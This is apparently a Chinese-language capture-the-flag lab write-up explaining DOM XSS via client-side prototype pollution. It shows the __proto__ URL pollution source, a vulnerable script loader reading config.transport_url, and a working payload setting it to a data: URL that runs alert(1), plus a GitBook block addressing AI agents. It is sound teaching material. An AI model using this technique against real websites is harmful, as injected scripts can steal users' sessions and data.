> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# 通过客户端原型污染导致的 DOM XSS

#### 通过客户端原型污染的 DOM XSS

#### 实验上下文

该应用易受到一种 **DOM XSS** 由以下情况触发： **原型污染** （客户端）。/ 目的： **污染 `Object.prototype`** 利用一个有用属性，找到一个 **gadget** 在操作它的 JS 中，然后运行 `alert()`.

### 1）观察原型污染

#### 污染源（在 URL 中）

属性可以被注入到 `__proto__` 通过以下参数：

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### 控制台中的验证

跳转后，会检查所有对象中的属性“fail”：

```javascript
console.log({}.foo)
```

<figure><img src="/files/57f78dfbaa657724b33a334b56b0346e067c616a" alt="" width="563"><figcaption></figcaption></figure>

### 2）客户端存在漏洞的代码

该站点包含一段逻辑

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

关键点：这段代码读取 **`config.transport_url`** 并将其用作 **某个 `<script>`**.

### 3）识别出的可利用 gadget

#### gadget

* `config.transport_url`

#### 为什么这很危险

如果 `transport_url` 存在时（即使是通过原型存在），脚本会执行：

* 创建一个 `<script>`
* `script.src = config.transport_url`
* 加入到 DOM 中

因此我们可以强制浏览器从一个可控 URL 加载脚本。

### 4）操作：触发 XSS

#### 载荷（污染 + 执行）

`Object.prototype.transport_url` 被污染为一个 `data:` 可运行的 URL `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="/files/564272dd840ce8a437228805bf90f011f891f996" alt=""><figcaption></figcaption></figure>

#### DOM 侧效果

代码最终会生成如下等效内容：

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.